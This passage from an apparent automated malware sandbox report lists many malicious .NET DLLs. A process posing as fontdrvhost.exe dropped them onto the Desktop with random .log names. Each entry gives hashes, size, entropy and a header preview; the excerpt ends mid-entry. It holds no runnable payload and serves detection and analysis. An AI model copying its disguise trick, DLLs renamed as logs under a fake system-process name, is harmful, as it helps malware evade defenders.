SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fLnmpTPV.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\feqUKmVF.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\fqGCEpSY.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fuaVjmBB.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fvxnZIOH.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fyqViYtd.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fzXEwQRC.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\gmudUmpb.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\hJcmyZDP.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hRSCUTxn.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hezDLgou.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hsmnhNDB.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\iANVPgEI.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\iJlVzTXF.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\iKNvbzqU.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ifAdEpGk.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\ikDUDecv.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\inkviYhq.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\inpEUjnz.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ipFMCTyG.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jECTfuuL.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\kMzdwiuP.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\kQZvTrxL.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
